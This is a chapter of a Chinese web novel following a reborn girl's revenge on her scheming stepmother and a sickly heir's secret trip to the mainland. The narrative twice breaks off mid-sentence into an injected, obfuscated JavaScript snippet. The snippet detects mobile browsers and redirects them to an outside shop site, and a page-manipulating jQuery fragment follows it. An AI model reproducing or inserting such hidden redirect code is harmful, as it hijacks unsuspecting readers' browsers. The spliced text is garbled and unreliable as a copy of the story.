房间里很快被各种各样的药罐、药柜、药典所占据。 那场变故似乎成了三弟人生的分水岭,落水之前的他活泼开朗,爱笑爱闹,落水之后的他,一夜之间成了个闷葫芦,十棍子敲不出个屁来。 还病病歪歪的,瘦得像是随时能被一阵风吹走。 三年前爹地六十大寿的生日宴上,所有人都到了,却迟迟不见三弟和大妈。 最后三弟是坐在轮椅上被大妈推过去的,原来三弟的病情恶化了,差点没救回来。 爹地脸上看不出多少关怀,只是庆幸三弟没在他过寿的这天去见阎王。 要不然以后儿子的忌日跟老子的生日冲撞了,这生日是过还是不过呢? 也就是那一天,他彻底看清了爹地的凉薄。 爹地对子女的疼爱,只取决于哪个妻妾得宠。 失宠的女人,就算生了孩子,也跟她一样倒霉,不受待见。 加上三弟一副随时可能归西的样子,爹地便名正言顺的把三弟排除在了邵氏企业之外。 邵氏旗下有名有姓的产业,基本上都交给了二房三房打理。 至于四房,也没比大房的待遇好多少。 好在他争气,听从大妈的安排去国外念了商科,回来后爹地果然交给他一个公司练手。 虽然跟邵氏的全部资产比起来不值一提,但胜在营收不错,他可以时常帮衬一下大妈。 说起来,大妈手里也不是一点财产都没有,起码家里的地契都在大妈手里。 听二房三房的说,这是大妈用她那个夭折的儿子换来的。 这话他不信,大妈心地善良,怎么可能害自己的孩子,一定是二房三房故意编排了抹黑大妈的。 现在大妈为了这些地契,要给三弟找个乡下妹做媳妇,他是没意见的,只是他看不懂大妈到底图什么。 如果只是为了繁衍后代,本地多的是优质适婚的女青年,何必这么大费周章,去内地找一个没妈的女孩过来。 最离奇的还是他三弟,把他叫过去也没说话,只给了他这张便条,写满了要他做的事情。 密密麻麻的字句里,只有一条是叫他给二房制造麻烦,好让他有充足的时间去内地接亲。 其他的十几条,都跟乡下妹有关。 他真的很好奇,三弟应该没有见过那个乡下妹,可是三弟好像特别了解她。 比如这条——告诉叶姗姗,她妈咪还活着。 下面紧跟着一条——她舅舅一家只有表哥能处,其他人不用理会。 再接着是一个地址——这是她乡下爷爷奶奶家,她妈咪的旧物被她奶奶保管起来了,她如果想要,带她去拿。 还有些叮嘱,都是跟叶姗姗有关的。 好像三弟跟叶姗姗是什么至交好友似的。 邵育良搞不懂,但是没办法,谁让他心疼三弟呢? 谁都知道三弟没几年可活了,只要能让三弟高兴,即便叫他去北极扑海豹,去南极抓企鹅,他都义无反顾。 * 邵育恭一觉醒来,天黑了。 他妈咪还在外面没回来,多半是给二哥准备厚衣服去了。 汤医生还在窗口坐着,精神抖擞,正在研究病人送他的一罐子金骏眉。 邵育恭起身看了眼,嫌弃道:“假的。” “啊?”汤医生傻眼了,“你怎么看出来的?” “成色不对。”邵育恭拿起纸笔,把金骏眉的鉴别方式写了下来。 汤医生拿起一看,不禁大为惊叹:“这一天天的也不见你出去,你怎么什么都懂啊?” 邵育恭没有回答,站在窗口出神。 夜风轻抚,萤火飞舞。 伸手抓住一只,托在掌心,屏息凝神,人虫对望。 过了很久,他才开口道:“我去一趟内地。” 汤医生吓了一跳,他怀疑自己听错了,原地蹦起:“你去内地做什么?去接那个乡下妹吗?可是你二哥和梁峰都去了,你再去有必要吗?再说了,你这一去不知道多少天才能回来,我一个人演不下去啊。” “找个身形跟我差不多的人,跟你坐飞机去美国,就说带我去看病。记得让他戴上兜帽和墨镜,就说我咳嗽,不能吹风。”邵育恭已经盘算好了所有的事情。 汤医生好半天说不出话来,见他眼神坚定,不像是能劝得动的样子,只得倒在沙发上,叹了口气:“你就这么不放心你二哥和梁峰的办事能力?” 邵育恭的嘴角动了动。 不知道是自嘲还是在嘲笑那两个人。 汤医生无奈:“行,你说的我照办就是,不过我提醒你,结婚之前别跟新娘子见面,不吉利。” “别废话,给我找最快的机票。”邵育恭放走掌心的萤火虫,态度坚决。 这让汤医生更加丈二和尚摸不着头脑,没忍住,好奇问道:“你要抢在他们前头过去?那他们还有必要过去吗?” 邵育恭不想解释,那眼神像是在看一个傻子。 汤医生好像懂了:“他们是障眼法,这样二房就算搞事也搞不到你身上。好好好,我去给你找机票。我真是服了你了,你晚上咳厉害点。” 邵育恭再次回了一个嫌弃的眼神。 汤医生立马闭嘴,转身安排去了。 邵育恭关上门,掀开枕头,拿起压在下面的照片,照片旁边是回乡证,不过,上面写的不是他的名字,而是他早亡的大哥邵育谦。 细长的指尖因为长期卧床而略显苍白,他轻轻抚摸着照片上的姑娘,过了很久才自言自语道:“我不会让你死的。” 绝不! * 叶姗姗看了眼院子里的血迹,没有上楼。 马洁上辈子怎么暗算她的,她可不敢忘,现在马洁被砍,必然会把责任推到她身上,她得提前准备好对策。 她去了老高中。 邱硕的那些瓶瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11851164|126267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罐罐已经全部收起来了,这会儿他正在清理真正的垃圾,比如废书本旧报纸什么的。 叶姗姗搭了把手,问他:“我那工作有人要吗?” “有!办妥了!是个大院子弟,不想去插队,家里又有钱,我就狮子大开口,问他老娘要了六百,她居然没有还价,给——”邱硕办事效率挺高,钱都点过了,叫叶姗姗再点一遍。 叶姗姗数了数,分文不少,当即分了一半给邱硕,邱硕不肯要,她便生气了:“你要真拿我当朋友,那就收着,不然以后我还有脸找你帮忙吗?” “真不用,一句话的事儿,我也没废什么功夫。”邱硕真不在乎这点钱。 可叶姗姗非要他收,不收就拿眼睛瞪他,瞪得他心里直发毛,只好妥协了。 叶姗姗心满意足:“这还差不多,等去了香江,我就算嫁人了,也不想停下赚钱的脚步,到时候还指望你在外头帮我拉活儿呢。” “好说!好说!”邱硕有盼头了,精神不少。 他把钱收好,嘿嘿傻笑着继续收拾。 叶姗姗忽然停了下来,手里的一捆旧报纸上刊登了一则奸杀的新闻,看日期,是去年她在医院养伤期间发生的,地点就在之前的毛胚楼那里。 叶姗姗想起那几个印堂发黑的职工,心里不禁咯噔一下,难不成他们是凶手? 印堂发黑确实是有霉运,但她万万没想到是被冤魂缠上的霉运! 她赶紧解开捆扎的绳子,详细看了看报道,凶手不止一个,串供了,警察找不到其他线索,只好放人。 受害者叶姗姗认识,以前隔三差五就来找马洁对毛衣图案的。 难怪马洁身上也有黑气,搞不好这个女人的死跟马洁有关。 她得想想办法,找点什么线索出来,送马洁跟牛进步一起蹲大牢去。 她问了问邱硕知不知道这个案子,邱硕好奇的打量着她:“你都要走了,管这个闲事做什么?” “因为她是马洁的好朋友,你说,会不会是她知道了马洁干的龌龊事儿,所以才被马洁灭口了?”叶姗姗的联想不无道理,毕竟这两个人过从甚密。 邱硕沉思片刻,有了不好的联想:“希望你妈妈没有遭遇同样的事情。” 叶姗姗的脸色瞬间变得格外难看。 可她不得不承认,确实有这个可能。 她知道邱硕是好意,可她还是崩溃了,背过身去,不想让人看到她落泪。 邱硕知道自己说错话了,赶紧赔礼道歉。 可是叶姗姗的眼泪停不下来,他只好叫大黄吐宝贝出来。 一个又一个,想换她一笑。 叶姗姗哭够了,看着满地的古董,不客气的挑了几样:“你自己给我的,不关我事。正好我拿去送我姨妈他们。” 邱硕笑了:“都拿去都拿去,女孩子的脸果然跟六月的天气一样,说变就变。” 叶姗姗白了他一眼,只拿了几个,再多的便不要了。 大黄把东西重新吞了回去。 留给叶姗姗送礼的,则单独用袋子套起来,再吞进大黄肚子里,以保万无一失。 收拾完,邱硕决定帮叶姗姗把这事办了,他叫她先回去。 叶姗姗没有多问,狗头军师办事,她放心。 路上她想好了应对马洁的办法,那就是假装冤魂上身! 这次一定能诈出来些信息! 叶姗姗加快脚步,顶着风雪回去。 国棉厂职工楼,刘厂长因为打老婆的事被人举报了,上级领导安排他去省城接受思想教育,避避风头。 这会儿他拿着写好他儿子婚期的纸条,准备去通知马洁一声。 于是他跟叶姗姗前后脚的进了钢铁厂职工楼。 16. 北上 叶姗姗知道刘厂长变卦了,跟他傻儿子结婚的倒霉蛋变成了牛珍珍。 但她没想到,刘厂长选的婚期跟前世还是一样的。 这事她不好插嘴,便只是杵在门口听这两家人扯皮。 马洁从医院回来了,膀子被砍得很深,缝合的后劲儿上来,疼痛让她面目扭曲。 以至于她质疑婚期是不是太快的时候,刘厂长误以为她是在跟自己甩脸子。 他把纸条往桌子上一拍,带着不容质疑的口吻,一锤定音:“哪里快了!问我要彩礼的时候倒是不觉得快!结婚用的东西已经安排好了,等我三天后回来就把婚礼办了!” 省城离得不远,他去走个过场就行,不会耽误多久。 所以他不打算变更日期。 他这铜铃般的眼睛一瞪,吓得马洁脖子一缩,不敢再说一个不字。 刘厂长却不信她,要她当着他的面,写个婚书,白纸黑字,一式三份,免得她抵赖。 马洁被砍的是左边胳膊,借口自己太疼了,拿不稳笔,刘厂长直接从自己中山装的口袋里掏出了钢笔,一把拽过她的右手:“少废话,除非你右边胳膊也被砍了!” 马洁脸上火辣辣的,孩子们都看着呢,她这个当妈的脸面往哪儿搁。 可是刘厂长脾气暴躁,要是惹恼了他,后果不堪设想。 只得先把他哄走,反正她跟牛珍珍算计好了,要让叶姗姗做这个冤大头。 她赶紧满足了刘厂长。 刘厂长签了字,拿走了两份,一份留给马洁自己,提醒她彩礼钱不是白收的。 转身的时候,刘厂长和颜悦色地看了眼叶姗姗,笑着说道:“姗姗回来啦,这么大的风雪,也不多穿点儿,回头我从省城给你带两套厚实点的衣服。” “不用了刘厂长,你家要办喜事了,还是留给新娘子穿吧。”叶姗姗不稀罕他带的东西,虽然这辈子他改了主意,但这不代表以前的仇恨就可以一笔勾销了。 刘厂长又不知道那些,只当她是个不贪图便宜的好孩子,又把她夸了一顿,这才回去了。 关上门,叶姗姗领着小白回房间,马洁早就怀疑牛进步砍人是她搞的鬼,这会儿刘厂长又对她这么好,马洁更是气得不轻。 马洁不装了,反正牛进步不在家,便对着叶姗姗怒喝道:“站住!” 叶姗姗回头的时候,眼睛里已经有了泪光。 哭很容易,只要把朱阿姨的遭遇想象到自己妈妈身上就好了。 邱硕说得一点也没错,这是很有可能的。 她哭得梨花带雨,也不说话,就这么咬紧了嘴唇,委屈巴巴地看着马洁。 马洁被她哭傻眼了,这是闹哪出,她还没说什么呢就哭起来了,可真有意思。 她很气恼,问道:“你爸把我砍了,你哭什么?砍的又不是你!” “阿姨,我今天才知道朱阿姨死了,难怪我住院的时候她都没有去看过我,她死得好惨啊。”叶姗姗答非所问。 马洁完全没有心理准备,当即愣在了那里。 眨了眨眼,马洁赶紧搪塞道:“你朱阿姨出事是个意外,那天刚下了大雨,她回家的时候没看清楚路,摔了一跤,附近的工人搭了把手把她扶去了工地休息,结果等他们下工回去的时候,才发现你朱阿姨已经咽气了。没办法,她磕到了脑子,工人们也不懂,以为她只是昏迷了,就没有及时送她去医院。” 这话编得真离谱,叶姗姗又不是傻子。 不过她没有拆穿马洁,叹了口气,道:“好可惜啊,她还没有看到她家孩子成家呢。” “好了,不说她的事了,我问你,你爸——”马洁可不想一直被她带偏了,赶紧言归正传。 可是叶姗姗没等她说完,已经扭头扑到床上,放声痛哭:“朱阿姨好可怜啊,才四十出头就死了。她对我那么好,我都没能见她最后一面。她一直说她把我当亲闺女看,她会不会跟我妈妈一样舍不得我,要带我走啊。” 马洁服了,最近叶姗姗真是脑子出问题了。 张口闭口都是她那个死鬼妈。 哭得还这么大声,生怕左右邻居听不见吗? 马洁气死了,可越是这样,她越是不好再说什么,只能等明天再跟叶姗姗算账。 很快,叶姗姗哭累了,“睡着”了。 马洁叫牛珍珍过去看了眼,也没有帮她盖被子,由着她挨冻去吧。 叶姗姗听着离开的脚步声,握紧了拳头。 按照上上辈子的发展,明天就是刘家三儿子找她表哥告密的时间,也是她负气搬出牛家,住到国棉厂职工楼的日子。 搬走后第三天就是婚期,第二天傍晚,马洁把她骗了回来,一棍子敲晕。 马洁敲的哪里是她的脑袋,分明是她的丧钟。 后来她逃走的时候身上没什么钱,只能学着那些胆大妄为的人去扒火车。 那趟火车正好去瑞金,那是姥爷的老家,经过市区这一段的时候火车速度很慢,可她崴了脚,依旧跟不上。 最终是一个面善的婶子拉了她一把,也正是这一份善意,彻底葬送了她的性命。 婶子是个人贩子,长期活跃在铁路沿线,诱骗那些落单的姑娘,拐卖到远处的山村里。 叶姗姗意识到不对的时候,已经晚了。 她跟那个婶子扭打起来,却架不住对方有帮手,最终惨死在山村路上。 这些事真的不能回忆,每次都会给仇恨的土壤灌溉施肥,让不甘的种子萌芽抽条,疯狂生长。 所以她很理解枉死之人怨气难消,因为她自己就是啊。 夜深人静,马洁因为疼痛睡得很不踏实。 正烦躁地喘着气,便听吱呀一声,里屋门开了。 屋里没有开灯,牛进步也不在她身边,孤枕难眠的受伤女人,看着宛如湘西赶尸一般走来的继女,吓出了一声冷汗。 叶姗姗双目无神,双手平举在前,一蹦一跳地来到马洁床前,嘴里念叨着:“马洁,你害我害得好惨啊,要不是你,我就不会跟我的孩子阴阳两隔,要不是你,我就不会成为孤魂野鬼。还好,今天姗姗去工地祭拜我了。你骗我,姗姗根本不像你说的那么无情,姗姗才是你们牛家唯一有人性的人。不过你别怕,我虽然恨你,可我舍不得伤害你啊。从今天开始,我就跟着姗姗了,以后每天晚上,我都来陪你睡。” 说着,叶姗姗钻进了马洁的被窝,吓得马洁鬼叫一声翻身下床,连滚带爬的冲出了家门。 半夜三更,职工楼里很多人都被一声“鬼啊”给吵醒了。 一盏又一盏电灯亮起,不满的职工循着声音找到了五楼。 赶紧把胡言乱语的马洁劝了回去。 “你疯啦,现在破四旧,哪里来的鬼?” “就是啊,你想被全厂通报批评吗?” “你想不开没关系,可别连累我们上班打瞌睡啊。” 看着同事们嫌弃的眼神,马洁终于意识到自己成了过街老鼠。 再也没有人会向着她了,也没有人会帮她说话。 可这一切,明明是叶姗姗才会有的待遇。 她瑟缩地抱紧了自己的膀子,怀揣着忐忑,往回走。 牛珍珍起来了,穿好衣服,扶着她回屋,牛金宝也起来了,把门关上,问马洁出什么事了。 他们姐弟俩睡得死,压根不知道叶姗姗刚刚起来了。 只有牛琳琳觉轻,听清楚了叶姗姗说的每一个字。 可是她一向胆小怕事,而朱阿姨的死,确实跟她妈妈有关,所以她也吓得不轻,只得拽起被子蒙着脸,装睡。 此时叶姗姗已经一蹦一跳地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11851165|126267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下楼了,只留下小白在家里做耳报神。 所以马洁对她的控诉丝毫不加掩饰,可是牛金宝不信。 只有牛珍珍坚定地站在自己妈妈这边。 牛金宝觉得马洁是被自己老子吓傻了,劝道:“妈,你少胡思乱想,二姐没有你说的那么坏,这么多年,她除了自作主张改名字,其他时候真没做什么过分的事。” “你给我闭嘴!”马洁怒吼一声,搡开了牛金宝。 牛金宝真是受够她了,赌气道:“又来,最近你到底怎么了,动不动对我发脾气!我也不想再受你这鸟气了,明天我就下乡插队去!” 马洁一听,这还得了,赶紧稳住心神哄她的心肝宝贝。 她不是故意的,只是她装了十几年,太累了,最近事儿又多,她才没能控制得住怒火。 可是牛金宝不想听,摔上门睡觉去。 马洁只好明天再劝,她被牛珍珍扶上床,小声问道:“叶姗姗怎么知道你朱阿姨的事的?” “会不会是朱阿姨的家里人找她说的?”牛珍珍想不到别的可能了。 马洁也这么怀疑,她眯着眼,怨毒地咬着后槽牙:“这群贪心不足的小人,这么多年问我要了那么多钱,还嫌不够吗?” “干脆一不做二不休,把他们全都杀了!”牛珍珍是个很角色,还做了个抹脖子的动作。 马洁沉思良久:“好,不过,当务之急还是先把叶姗姗敲晕了送给刘双强做老婆。这样,明天你去乡下奶奶家找几件她妈妈的旧衣服,特别是照片上那条裙子,一定要带回来。” “好,到时候你拿着裙子跟她说话,我躲门后边敲她闷棍。”牛珍珍握拳,这次无论如何都要让叶姗姗彻底翻不了身。 第二天五点牛珍珍便起来了,随便吃了点卷饼,便往客运站赶去。 小白跟着她溜了出来,找到借宿在王阿姨家的叶姗姗,如此这般的告状。 叶姗姗冷笑道:“好,小白,你去换你妈妈回来,我要跟它商量大事。” * 汤医生办事利索,天不亮就带着一个美籍医生来了。 同时过来的还有几个助手,搀扶着咳嗽了一晚上喘不上气的邵家三少爷。 严秀芬红着眼睛不肯撒手:“小汤,我家恭儿就拜托给你了。我不能陪着他去美国,叶家那姑娘随时可能过来的,到时候家里要是没人,委屈了人家就不好了。” “大太太,你放心,你跟我妈什么情分,咱们一家人不说两家话,你快回吧,到了我给你打电话。”汤医生有些不忍心,大太太真是个好婆婆,儿媳妇还没有进门,已经在为儿媳妇周全面子了。 他也不好告诉她实情,让她宽心,毕竟邵育恭有主见,决定了的事十头牛也拉不回。 他只能尽心尽力地帮他这个兄弟演好每一场戏。 车子很快走了,去机场之前,先在汤医生的私人诊所前停了半个小时。 诊所里,汤医生把羊城飞海城的机票递给了邵育恭:“真是服了你了,非要赶在他们两个前头过去,至于吗?哎,时间紧迫,国内航班又少,只能找到去海城的,你到了海城转大巴去运和县,比从羊城坐火车快一个礼拜左右。” “谢了。”邵育恭接过机票。 汤医生又塞了两盒润喉糖给他:“快含上吧,嗓子都咳哑了,我听着都疼。” 邵育恭沉默地剥了一块糖含着,疼吗,习惯了。 汤医生又给了他一摞归国博士的□□明,什么专业的都有,方便他办事。 等汤医生等人走远了,他才换上了汤医生的黑色风衣,又弄了个英国法官的金色假发套戴上,架上墨镜,提着行李箱,往码头赶去。 气息平稳,健步如飞。 任谁见了这背影,都不会联想到邵家那个随时可能咽气的三少爷身上。